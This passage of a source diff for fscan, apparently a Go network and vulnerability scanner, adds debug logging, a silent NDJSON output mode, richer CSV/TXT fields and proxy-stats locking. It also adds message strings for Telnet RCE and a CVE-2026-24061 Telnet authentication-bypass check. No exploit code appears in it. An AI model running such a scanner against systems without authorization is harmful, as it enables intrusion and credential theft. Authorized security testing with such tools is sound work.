fscan_debug.log" flag_alive_only: other: "Alive detection only" flag_username: @@ -341,6 +345,8 @@ port_open: other: "Port open {{.Arg1}}" port_open_http: other: "Port open {{.Arg1}} [http](HTTP probe)" +port_scan_no_alive_subnet: + other: "Subnet probe found no alive subnets, skipping port scan" # ========================= Local Scan Messages ========================= local_plugin_info: @@ -426,6 +432,8 @@ telnet_unauth_rce: other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}" telnet_credential_rce: other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}" +telnet_cve202624061: + other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}" cassandra_credential: other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}" cassandra_service: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 77069b1..dfa506f 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -28,6 +28,10 @@ flag_global_timeout: other: "全局超时时间" flag_disable_ping: other: "禁用ping探测" +flag_disable_tcp_probe: + other: "禁用TCP补充探测" +flag_debug: + other: "开启调试模式,日志写入fscan_debug.log" flag_alive_only: other: "仅进行存活探测" flag_username: @@ -341,6 +345,8 @@ port_open: other: "端口开放 {{.Arg1}}" port_open_http: other: "端口开放 {{.Arg1}} [http](HTTP探测)" +port_scan_no_alive_subnet: + other: "网段预筛未发现存活子网,跳过端口扫描" # ========================= 本地扫描消息 ========================= local_plugin_info: @@ -426,6 +432,8 @@ telnet_unauth_rce: other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}" telnet_credential_rce: other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}" +telnet_cve202624061: + other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}" cassandra_credential: other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}" cassandra_service: diff --git a/common/initialize.go b/common/initialize.go index f879463..fbebf84 100644 --- a/common/initialize.go +++ b/common/initialize.go @@ -13,9 +13,10 @@ initialize.go - 统一初始化入口 // InitResult 初始化结果 type InitResult struct { - Config *Config - State *State - Info *HostInfo + Config *Config + State *State + Info *HostInfo + Session *ScanSession } // Initialize 统一初始化函数 @@ -39,10 +40,13 @@ func Initialize(info *HostInfo) (*InitResult, error) { return nil, fmt.Errorf("输出初始化失败: %w", err) } + session := NewScanSession(cfg, state, GetFlagVars()) + return &InitResult{ - Config: cfg, - State: state, - Info: info, + Config: cfg, + State: state, + Info: info, + Session: session, }, nil } diff --git a/common/logger.go b/common/logger.go index 0bd0307..323a013 100644 --- a/common/logger.go +++ b/common/logger.go @@ -27,8 +27,12 @@ func getGlobalLogger() *logging.Logger { EnableColor: !fv.NoColor, SlowOutput: false, ShowProgress: !fv.DisableProgress, + Silent: fv.Silent, StartTime: GetGlobalState().GetStartTime(), } + if fv.Debug { + config.DebugLogFile = "fscan_debug.log" + } globalLogger = logging.NewLogger(config) globalLogger.SetCoordinatedOutput(LogWithProgress) }) @@ -77,3 +81,10 @@ func LogVuln(result string) { getGlobalLogger().Vuln(result) } // LogError 输出错误日志 func LogError(errMsg string) { getGlobalLogger().Error(errMsg) } + +// CloseLogger 关闭日志系统,释放文件资源 +func CloseLogger() { + if globalLogger != nil { + globalLogger.Close() + } +} diff --git a/common/logging/logger.go b/common/logging/logger.go index c0a5dc0..ede28f7 100644 --- a/common/logging/logger.go +++ b/common/logging/logger.go @@ -2,6 +2,7 @@ package logging import ( "fmt" + "os" "strings" "sync" "time" @@ -24,8 +25,10 @@ type LoggerConfig struct { EnableColor bool `json:"enable_color"` SlowOutput bool `json:"slow_output"` ShowProgress bool `json:"show_progress"` + Silent bool `json:"silent"` StartTime time.Time `json:"start_time"` LevelColors map[LogLevel]interface{} `json:"-"` + DebugLogFile string `json:"debug_log_file"` } // DefaultLoggerConfig 默认日志器配置 @@ -47,6 +50,7 @@ type Logger struct { startTime time.Time coordinatedOutput func(string) initialized bool + debugFile *os.File } // NewLogger 创建新的日志管理器 @@ -55,11 +59,20 @@ func NewLogger(config *LoggerConfig) *Logger { config = DefaultLoggerConfig() } - return &Logger{ + l := &Logger{ config: config, startTime: config.StartTime, initialized: true, } + + if config.DebugLogFile != "" { + f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644) + if err == nil { + l.debugFile = f + } + } + + return l } // Initialize 初始化日志器 @@ -111,6 +124,10 @@ func (l *Logger) log(level LogLevel, content string) { l.mu.Lock() defer l.mu.Unlock() + if l.config.Silent { + return + } + if !l.shouldLog(level) { return } @@ -134,12 +151,37 @@ func (l *Logger) log(level LogLevel, content string) { l.outputMessage(level, logMsg) } + // 写入debug日志文件(纯文本,无颜色) + if l.debugFile != nil { + timestamp := time.Since(l.startTime).Truncate(time.Millisecond) + if strings.Contains(content, "\n") { + lines := strings.Split(content, "\n") + for _, line := range lines { + if line != "" { + _, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line) + } + } + } else { + _, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content) + } + } + // 根据慢速输出设置决定是否添加延迟 if l.config.SlowOutput { time.Sleep(SlowOutputDelay) } } +// Close 关闭日志器,释放文件资源 +func (l *Logger) Close() { + l.mu.Lock() + defer l.mu.Unlock() + if l.debugFile != nil { + _ = l.debugFile.Close() + l.debugFile = nil + } +} + // shouldLog 检查是否应该记录该级别的日志 // 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示 func (l *Logger) shouldLog(level LogLevel) bool { diff --git a/common/network.go b/common/network.go index b1e62c0..1fa304f 100644 --- a/common/network.go +++ b/common/network.go @@ -102,11 +102,9 @@ func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig { // TCP 连接 // ============================================================================= -// WrapperTcpWithTimeout TCP连接包装器,带超时 -// 支持通过代理管理器进行SOCKS5和HTTP代理连接,并集成发包控制 -// 使用全局拨号器复用连接,避免重复创建代理握手开销 +// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用,新代码请用 ScanSession.DialTCP // -//nolint:revive // 保持向后兼容性,避免破坏大量现有代码 +//nolint:revive func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { // 检查发包限制 - 在代理连接前进行控制 if canSend, reason := CanSendPacket(); !canSend { @@ -158,6 +156,11 @@ func IsProxyReliable() bool { return proxy.IsProxyReliable() } +// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型 +func IsSOCKS5Proxy() bool { + return proxy.IsSOCKS5Proxy() +} + // SafeHTTPDo 带发包控制的HTTP请求 func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) { // 检查发包限制 diff --git a/common/output/buffer.go b/common/output/buffer.go index 28b29f2..35efaae 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -59,7 +59,8 @@ func (b *ResultBuffer) Add(result *ScanResult) { b.seenServices[key] = len(b.ServiceResults) b.ServiceResults = append(b.ServiceResults, result) } else { - // 保留信息更完整的记录 + b.mergeDetails(b.ServiceResults[idx], result) + // 保留信息更完整的记录,同时保留另一条记录补充的字段 if b.isMoreComplete(result, b.ServiceResults[idx]) { b.ServiceResults[idx] = result } @@ -72,6 +73,28 @@ func (b *ResultBuffer) Add(result *ScanResult) { } } +func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) { + if oldResult == nil || newResult == nil { + return + } + if oldResult.Details == nil { + oldResult.Details = make(map[string]interface{}) + } + if newResult.Details == nil { + newResult.Details = make(map[string]interface{}) + } + for k, v := range oldResult.Details { + if _, exists := newResult.Details[k]; !exists { + newResult.Details[k] = v + } + } + for k, v := range newResult.Details { + if _, exists := oldResult.Details[k]; !exists { + oldResult.Details[k] = v + } + } +} + // generateKey 生成结果的唯一键(用于去重) func (b *ResultBuffer) generateKey(result *ScanResult) string { switch result.Type { diff --git a/common/output/buffer_test.go b/common/output/buffer_test.go index d4d36ab..86872ed 100644 --- a/common/output/buffer_test.go +++ b/common/output/buffer_test.go @@ -226,6 +226,40 @@ func TestResultBuffer_ServiceUpdate(t *testing.T) { } } +func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) { + buf := NewResultBuffer() + + buf.Add(&ScanResult{ + Type: TypeService, + Target: "192.168.1.1:80", + Status: "identified", + Details: map[string]interface{}{ + "service": "http", + "banner": "HTTP/1.1 200 OK", + }, + }) + buf.Add(&ScanResult{ + Type: TypeService, + Target: "192.168.1.1:80", + Status: "web", + Details: map[string]interface{}{ + "title": "Home", + "status": 200, + "server": "nginx", + }, + }) + + if len(buf.ServiceResults) != 1 { + t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults)) + } + details := buf.ServiceResults[0].Details + for _, key := range []string{"service", "banner", "title", "status", "server"} { + if _, ok := details[key]; !ok { + t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details) + } + } +} + // TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录 // // 当新记录不如旧记录完整时,不应替换 diff --git a/common/output/stdout_writer.go b/common/output/stdout_writer.go new file mode 100644 index 0000000..80f38f5 --- /dev/null +++ b/common/output/stdout_writer.go @@ -0,0 +1,145 @@ +package output + +import ( + "bufio" + "encoding/json" + "fmt" + "os" + "strings" + "sync" +) + +type StdoutNDJSONWriter struct { + mu sync.Mutex + writer *bufio.Writer +} + +func NewStdoutNDJSONWriter() *StdoutNDJSONWriter { + return &StdoutNDJSONWriter{ + writer: bufio.NewWriter(os.Stdout), + } +} + +// ndjsonRecord NDJSON 输出的扁平化结构 +type ndjsonRecord struct { + Type ResultType `json:"type"` + Target string `json:"target"` + Status string `json:"status"` + Host string `json:"host,omitempty"` + Port int `json:"port,omitempty"` + Service string `json:"service,omitempty"` + // 通用可选字段 + Protocol string `json:"protocol,omitempty"` + Banner string `json:"banner,omitempty"` + Title string `json:"title,omitempty"` + URL string `json:"url,omitempty"` + // 漏洞/弱口令 + Vulnerability string `json:"vulnerability,omitempty"` + Username string `json:"username,omitempty"` + Password string `json:"password,omitempty"` + // 其他 + Plugin string `json:"plugin,omitempty"` + Version string `json:"version,omitempty"` + OS string `json:"os,omitempty"` +} + +func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error { + w.mu.Lock() + defer w.mu.Unlock() + + rec := w.flatten(result) + data, err := json.Marshal(rec) + if err != nil { + return err + } + data = append(data, '\n') + if _, err := w.writer.Write(data); err != nil { + return err + } + return w.writer.Flush() +} + +func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord { + rec := &ndjsonRecord{ + Type: r.Type, + Target: r.Target, + Status: r.Status, + } + + // 从 target 拆分 host:port + if host, port, ok := splitHostPort(r.Target); ok { + rec.Host = host + rec.Port = port + } else { + rec.Host = r.Target + } + + d := r.Details + if d == nil { + return rec + } + + // 从 details 提升一级字段(覆盖拆分结果) + if v, ok := d["port"]; ok { + if p, ok := toInt(v); ok { + rec.Port = p + } + } + + rec.Service = strVal(d, "service") + rec.Protocol = strVal(d, "protocol") + rec.Banner = strVal(d, "banner") + rec.Title = strVal(d, "title") + rec.URL = strVal(d, "url") + rec.Vulnerability = strVal(d, "vulnerability") + rec.Username = strVal(d, "username") + rec.Password = strVal(d, "password") + rec.Plugin = strVal(d, "plugin") + rec.Version = strVal(d, "version") + rec.OS = strVal(d, "os") + + return rec +} + +func (w *StdoutNDJSONWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + return w.writer.Flush() +} + +func strVal(d map[string]interface{}, key string) string { + v, ok := d[key] + if !ok { + return "" + } + s, ok := v.(string) + if !ok { + return fmt.Sprintf("%v", v) + } + return s +} + +func toInt(v interface{}) (int, bool) { + switch n := v.(type) { + case int: + return n, true + case int64: + return int(n), true + case float64: + return int(n), true + } + return 0, false +} + +func splitHostPort(target string) (string, int, bool) { + idx := strings.LastIndex(target, ":") + if idx < 0 { + return "", 0, false + } + host := target[:idx] + var port int + if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil { + return "", 0, false + } + return host, port, true +} diff --git a/common/output/writers.go b/common/output/writers.go index ee1bf63..d345b4a 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -13,13 +13,26 @@ import ( // escapeControlChars 转义控制字符 func escapeControlChars(s string) string { - replacer := strings.NewReplacer( - "\r\n", "\\r\\n", - "\n", "\\n", - "\r", "\\r", - "\t", "\\t", - ) - return replacer.Replace(s) + s = strings.ToValidUTF8(s, "?") + + var b strings.Builder + for _, r := range s { + switch r { + case '\n': + b.WriteString("\\n") + case '\r': + b.WriteString("\\r") + case '\t': + b.WriteString("\\t") + default: + if r < 0x20 || r == 0x7f { + fmt.Fprintf(&b, "\\x%02x", r) + continue + } + b.WriteRune(r) + } + } + return b.String() } // ============================================================================= @@ -183,13 +196,7 @@ func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string { } } - protocol := "http" - service := w.getDetailStr(result, "service") - if service == "https" || strings.Contains(target, ":443") { - protocol = "https" - } - - url := fmt.Sprintf("%s://%s", protocol, target) + url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target) title := w.getDetailStr(result, "title") status := w.getDetail(result, "status") server := w.getDetailStr(result, "server") @@ -362,13 +369,7 @@ func (w *TXTWriter) writeWebServices() { } } - protocol := "http" - service := w.getDetailStr(result, "service") - if service == "https" || strings.Contains(target, ":443") { - protocol = "https" - } - - urls = append(urls, fmt.Sprintf("%s://%s", protocol, target)) + urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)) } if len(urls) == 0 { @@ -397,6 +398,19 @@ func (w *TXTWriter) isWebService(result *ScanResult) bool { return service == "http" || service == "https" } +func (w *TXTWriter) webProtocol(result *ScanResult, target string) string { + protocol := strings.ToLower(w.getDetailStr(result, "protocol")) + if protocol == "http" || protocol == "https" { + return protocol + } + + service := strings.ToLower(w.getDetailStr(result, "service")) + if service == "https" || strings.Contains(target, ":443") { + return "https" + } + return "http" +} + // GetFormat 获取格式类型 func (w *TXTWriter) GetFormat() Format { return FormatTXT @@ -647,7 +661,7 @@ func (w *CSVWriter) Close() error { // 写入各分类 w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord) w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord) - w.writeSection("# Services", []string{"Target", "Service", "Version", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord) + w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord) w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord) w.closed = true @@ -697,7 +711,7 @@ func (w *CSVWriter) formatPortRecord(result *ScanResult) []string { } func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { - service, version, banner := "", "", "" + service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", "" if result.Details != nil { if s, ok := result.Details["service"].(string); ok { service = s @@ -705,9 +719,22 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { if s, ok := result.Details["name"].(string); ok && service == "" { service = s } + if s, ok := result.Details["plugin"].(string); ok && service == "" { + service = s + } if v, ok := result.Details["version"].(string); ok { version = v } + if t, ok := result.Details["title"].(string); ok { + title = escapeControlChars(t) + } + if s, ok := result.Details["status"]; ok && s != nil && s != 0 { + status = fmt.Sprintf("%v", s) + } + if s, ok := result.Details["server"].(string); ok { + server = escapeControlChars(s) + } + fingerprints = formatFingerprints(result.Details["fingerprints"]) if b, ok := result.Details["banner"].(string); ok { banner = escapeControlChars(b) if len(banner) > 100 { @@ -721,7 +748,24 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { target = fmt.Sprintf("%s:%v", target, p) } } - return []string{target, service, version, banner} + return []string{target, service, version, title, status, server, fingerprints, banner} +} + +func formatFingerprints(value interface{}) string { + switch v := value.(type) { + case []string: + return strings.Join(v, ",") + case []interface{}: + parts := make([]string, 0, len(v)) + for _, item := range v { + if s, ok := item.(string); ok && s != "" { + parts = append(parts, s) + } + } + return strings.Join(parts, ",") + default: + return "" + } } func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string { diff --git a/common/output/writers_test.go b/common/output/writers_test.go index d16fb2a..fd590a7 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -1139,7 +1139,7 @@ func TestCSVWriter_ErrorHandling(t *testing.T) { // TestCSVWriter_DetailsFormatting 测试CSV的Details字段格式化 // // CSVWriter 对不同类型有不同的格式: -// - Service类型:Target, Service, Version, Banner +// - Service类型:Target, Service, Version, Title, Status, Server, Fingerprints, Banner func TestCSVWriter_DetailsFormatting(t *testing.T) { dir := createTestDir(t) filePath := filepath.Join(dir, "test.csv") @@ -1188,6 +1188,86 @@ func TestCSVWriter_DetailsFormatting(t *testing.T) { t.Logf("✓ CSV Details格式化测试通过") } +func TestCSVWriter_WebServiceFields(t *testing.T) { + dir := createTestDir(t) + filePath := filepath.Join(dir, "test.csv") + + writer, _ := NewCSVWriter(filePath) + defer func() { _ = writer.Close() }() + + _ = writer.WriteHeader() + result := createTestResult( + TypeService, + "192.168.1.1:80", + "web", + map[string]interface{}{ + "plugin": "webtitle", + "is_web": true, + "port": 80, + "title": "Home", + "status": 200, + "server": "nginx", + "fingerprints": []string{"nginx", "php"}, + "banner": "HTTP/1.1 200 OK\x00\nServer: nginx", + }, + ) + _ = writer.Write(result) + writer.Close() + + content := readFileContent(t, filePath) + for _, want := range []string{ + "Target,Service,Version,Title,Status,Server,Fingerprints,Banner", + "webtitle", + "Home", + "200", + "nginx", + "nginx,php", + "\\x00\\nServer: nginx", + } { + if !strings.Contains(content, want) { + t.Errorf("CSV文件缺少 %q,内容:\n%s", want, content) + } + } +} + +func TestTXTWriter_WebServiceProtocolFromDetails(t *testing.T) { + dir := createTestDir(t) + filePath := filepath.Join(dir, "test_web_protocol.txt") + + writer, err := NewTXTWriter(filePath) + if err != nil { + t.Fatalf("创建TXTWriter失败: %v", err) + } + + result := createTestResult( + TypeService, + "192.168.1.1:8443", + "web", + map[string]interface{}{ + "plugin": "webtitle", + "is_web": true, + "port": 8443, + "protocol": "https", + "title": "Home", + "status": 200, + }, + ) + if err := writer.Write(result); err != nil { + t.Fatalf("Write()失败: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close()失败: %v", err) + } + + content := readFileContent(t, filePath) + if !strings.Contains(content, "https://192.168.1.1:8443") { + t.Fatalf("TXT输出缺少HTTPS URL,内容:\n%s", content) + } + if strings.Contains(content, "http://192.168.1.1:8443") { + t.Fatalf("TXT输出不应把HTTPS目标降级为HTTP,内容:\n%s", content) + } +} + // TestJSONWriter_FlushAndFormat 测试JSON的Flush和GetFormat func TestJSONWriter_FlushAndFormat(t *testing.T) { dir := createTestDir(t) diff --git a/common/output_api.go b/common/output_api.go index e7ff4c7..a523904 100644 --- a/common/output_api.go +++ b/common/output_api.go @@ -15,10 +15,18 @@ import ( // ResultOutput 全局输出管理器 var ResultOutput *output.Manager +// StdoutWriter silent模式下的NDJSON stdout写入器 +var StdoutWriter *output.StdoutNDJSONWriter + // InitOutput 初始化输出系统 func InitOutput() error { fv := GetFlagVars() + // silent模式:初始化NDJSON stdout写入器(独立于文件输出) + if fv.Silent { + StdoutWriter = output.NewStdoutNDJSONWriter() + } + // 用户通过-no flag禁用保存时,跳过文件初始化避免不必要的资源开销 if fv.DisableSave { return nil @@ -59,6 +67,9 @@ func InitOutput() error { // CloseOutput 关闭输出系统 func CloseOutput() error { + if StdoutWriter != nil { + _ = StdoutWriter.Close() + } if ResultOutput == nil { return nil } @@ -80,8 +91,13 @@ func SaveResult(result *output.ScanResult) error { "details": result.Details, }) + // silent模式:NDJSON实时输出到stdout + if StdoutWriter != nil { + _ = StdoutWriter.WriteResult(result) + } + // 用户禁用保存或输出未初始化时,跳过文件保存 - if GetFlagVars().DisableSave || ResultOutput == nil { + if GetGlobalConfig().Output.DisableSave || ResultOutput == nil { return nil } return ResultOutput.SaveResult(result) diff --git a/common/progress_manager.go b/common/progress_manager.go index c1266b6..a940805 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -48,6 +48,10 @@ type ProgressManager struct { // 进度条更新控制(减少 Windows 终端的重复输出) lastRenderedPercent int + + // 引用,避免读全局 + state *State + noColor bool } // ============================================================================= @@ -102,11 +106,13 @@ func GetProgressManager() *ProgressManager { // InitProgress 初始化进度条 func (pm *ProgressManager) InitProgress(total int64, description string) { - fv := GetFlagVars() - if fv.DisableProgress || fv.Silent { + cfg := GetGlobalConfig() + if cfg.Output.DisableProgress || cfg.Output.Silent { pm.enabled = false return } + pm.state = GetGlobalState() + pm.noColor = cfg.Output.NoColor pm.mu.Lock() defer pm.mu.Unlock() @@ -137,16 +143,24 @@ func (pm *ProgressManager) UpdateProgress(increment int64) { return } - pm.mu.Lock() - defer pm.mu.Unlock() - - pm.current += increment - if pm.current > pm.total { - pm.current = pm.total + // 原子累加,避免高并发下的锁竞争 + newCurrent := atomic.AddInt64(&pm.current, increment) + if newCurrent > pm.total { + atomic.StoreInt64(&pm.current, pm.total) } - // 更新活跃时间 - pm.lastActivity = time.Now() + // 节流渲染:距上次渲染不足 50ms 则跳过 + now := time.Now() + pm.mu.RLock() + lastAct := pm.lastActivity + pm.mu.RUnlock() + if now.Sub(lastAct) < 50*time.Millisecond { + return + } + + pm.mu.Lock() + pm.lastActivity = now + pm.mu.Unlock() pm.renderProgress() } @@ -164,7 +178,7 @@ func (pm *ProgressManager) FinishProgress() { pm.mu.Lock() defer pm.mu.Unlock() - pm.current = pm.total + atomic.StoreInt64(&pm.current, pm.total) pm.renderProgress() // 停止活跃指示器 @@ -214,11 +228,12 @@ func (pm *ProgressManager) generateProgressBar() string { return base } - percentage := float64(pm.current) / float64(pm.total) * 100 + percentage := float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100 elapsed := time.Since(pm.startTime) + current := atomic.LoadInt64(&pm.current) // 计算速度 - speed := float64(pm.current) / elapsed.Seconds() + speed := float64(current) / elapsed.Seconds() speedStr := "" if speed > 0 { speedStr = fmt.Sprintf(" %.0f/s", speed) @@ -226,8 +241,8 @@ func (pm *ProgressManager) generateProgressBar() string { // 计算预估剩余时间 var eta string - if pm.current > 0 && pm.current < pm.total { - totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current) + if current > 0 && current < pm.total { + totalTime := elapsed * time.Duration(pm.total) / time.Duration(current) remaining := totalTime - elapsed if remaining > 0 { eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining)) @@ -239,7 +254,7 @@ func (pm *ProgressManager) generateProgressBar() string { // 计算固定部分的宽度 fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s", - pm.description, spinner, percentage, pm.current, pm.total, speedStr, eta, packetInfo) + pm.description, spinner, percentage, current, pm.total, speedStr, eta, packetInfo) fixedWidth := displayWidth(fixedPart) // 计算进度条槽位可用宽度(预留2字符余量) @@ -266,7 +281,7 @@ func (pm *ProgressManager) generateProgressBar() string { // 构建最终进度条 result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s", - pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta) + pm.description, spinner, percentage, bar, current, pm.total, speedStr, eta) if packetInfo != "" { result += " " + packetInfo @@ -277,13 +292,16 @@ func (pm *ProgressManager) generateProgressBar() string { // getPacketInfo 获取发包统计信息(简化版) func (pm *ProgressManager) getPacketInfo() string { - packetCount := GetGlobalState().GetPacketCount() + if pm.state == nil { + return "" + } + packetCount := pm.state.GetPacketCount() if packetCount == 0 { return "" } - tcpSuccess := GetGlobalState().GetTCPSuccessPacketCount() - tcpFailed := GetGlobalState().GetTCPFailedPacketCount() + tcpSuccess := pm.state.GetTCPSuccessPacketCount() + tcpFailed := pm.state.GetTCPFailedPacketCount() // 简化格式:TCP:成功/失败 if tcpSuccess > 0 || tcpFailed > 0 { @@ -301,7 +319,7 @@ func (pm *ProgressManager) showCompletionInfo() { fmt.Print("\n") completionMsg := i18n.GetText("progress_scan_completed") - if GetFlagVars().NoColor { + if pm.noColor { fmt.Printf("[完成] %s %d/%d (耗时: %s)\n", completionMsg, pm.total, pm.total, formatDuration(elapsed)) } else { @@ -461,7 +479,7 @@ func (pm *ProgressManager) GetPercent() float64 { if !pm.isActive || pm.total == 0 { return 0 } - return float64(pm.current) / float64(pm.total) * 100 + return float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100 } // ============================================================================= @@ -470,6 +488,10 @@ func (pm *ProgressManager) GetPercent() float64 { // LogWithProgress 在进度条活跃时协调日志输出 func LogWithProgress(message string) { + if cfg := GetGlobalConfig(); cfg != nil && cfg.Output.Silent { + return + } + pm := GetProgressManager() if !pm.IsActive() { // 如果进度条不活跃,直接输出 @@ -499,7 +521,7 @@ func (pm *ProgressManager) renderProgressUnsafe() { // 计算当前百分比(避免除零) currentPercent := 0 if pm.total > 0 { - currentPercent = int((pm.current * 100) / pm.total) + currentPercent = int((atomic.LoadInt64(&pm.current) * 100) / pm.total) } // 只在百分比变化时更新,减少不必要的渲染 @@ -532,7 +554,7 @@ func (pm *ProgressManager) renderProgressUnsafe() { fmt.Print(clearStr) // 输出进度条(带颜色,如果启用) - if GetFlagVars().NoColor { + if pm.noColor { fmt.Print(progressBar) } else { fmt.Printf("%s%s%s", AnsiCyan, progressBar, AnsiReset) diff --git a/common/proxy/detector.go b/common/proxy/detector.go index e296f44..544e98c 100644 --- a/common/proxy/detector.go +++ b/common/proxy/detector.go @@ -19,6 +19,9 @@ var ( // proxyProbed 标记代理是否已经探测过(避免重复探测) proxyProbed atomic.Bool + + // currentProxyType 当前代理类型 + currentProxyType atomic.Int32 ) // SetProxyEnabled 设置代理启用状态 @@ -61,6 +64,11 @@ func IsProxyProbed() bool { return proxyProbed.Load() } +// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型 +func IsSOCKS5Proxy() bool { + return proxyEnabled.Load() && ProxyType(currentProxyType.Load()) == ProxyTypeSOCKS5 +} + // AutoConfigureProxy 自动配置代理相关行为 // 根据代理类型和状态自动调整扫描策略 func AutoConfigureProxy(config *ProxyConfig) { @@ -74,6 +82,7 @@ func AutoConfigureProxy(config *ProxyConfig) { // 启用代理标记 SetProxyEnabled(true) + currentProxyType.Store(int32(config.Type)) // SOCKS5代理默认假设非标准(后续由探测函数验证) if config.Type == ProxyTypeSOCKS5 { diff --git a/common/proxy/httpdialer.go b/common/proxy/httpdialer.go index 3e34765..430a2d6 100644 --- a/common/proxy/httpdialer.go +++ b/common/proxy/httpdialer.go @@ -30,7 +30,9 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) ( proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address) if err != nil { atomic.AddInt64(&h.stats.FailedConnections, 1) + h.stats.mu.Lock() h.stats.LastError = err.Error() + h.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err) } @@ -38,12 +40,16 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) ( if err := h.sendConnectRequest(proxyConn, address); err != nil { _ = proxyConn.Close() // 错误处理路径,Close错误可忽略 atomic.AddInt64(&h.stats.FailedConnections, 1) + h.stats.mu.Lock() h.stats.LastError = err.Error() + h.stats.mu.Unlock() return nil, err } duration := time.Since(start) + h.stats.mu.Lock() h.stats.LastConnectTime = start + h.stats.mu.Unlock() atomic.AddInt64(&h.stats.ActiveConnections, 1) h.updateAverageConnectTime(duration) @@ -108,7 +114,8 @@ func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error { // updateAverageConnectTime 更新平均连接时间 func (h *httpDialer) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + h.stats.mu.Lock() + defer h.stats.mu.Unlock() if h.stats.AverageConnectTime == 0 { h.stats.AverageConnectTime = duration } else { diff --git a/common/proxy/manager.go b/common/proxy/manager.go index be69619..5e1c24a 100644 --- a/common/proxy/manager.go +++ b/common/proxy/manager.go @@ -128,9 +128,19 @@ func (m *manager) Stats() *ProxyStats { m.mu.RLock() defer m.mu.RUnlock() - // 返回副本以避免并发问题 - statsCopy := *m.stats - return &statsCopy + m.stats.mu.Lock() + defer m.stats.mu.Unlock() + + return &ProxyStats{ + TotalConnections: atomic.LoadInt64(&m.stats.TotalConnections), + ActiveConnections: atomic.LoadInt64(&m.stats.ActiveConnections), + FailedConnections: atomic.LoadInt64(&m.stats.FailedConnections), + AverageConnectTime: m.stats.AverageConnectTime, + LastConnectTime: m.stats.LastConnectTime, + LastError: m.stats.LastError, + ProxyType: m.stats.ProxyType, + ProxyAddress: m.stats.ProxyAddress, + } } // createDirectDialer 创建直连拨号器 @@ -264,11 +274,16 @@ func (d *directDialer) DialContext(ctx context.Context, network, address string) conn, err := dialer.DialContext(ctx, network, address) duration := time.Since(start) + + d.stats.mu.Lock() d.stats.LastConnectTime = start + d.stats.mu.Unlock() if err != nil { atomic.AddInt64(&d.stats.FailedConnections, 1) + d.stats.mu.Lock() d.stats.LastError = err.Error() + d.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err) } @@ -323,15 +338,22 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) select { case <-dialCtx.Done(): atomic.AddInt64(&s.stats.FailedConnections, 1) 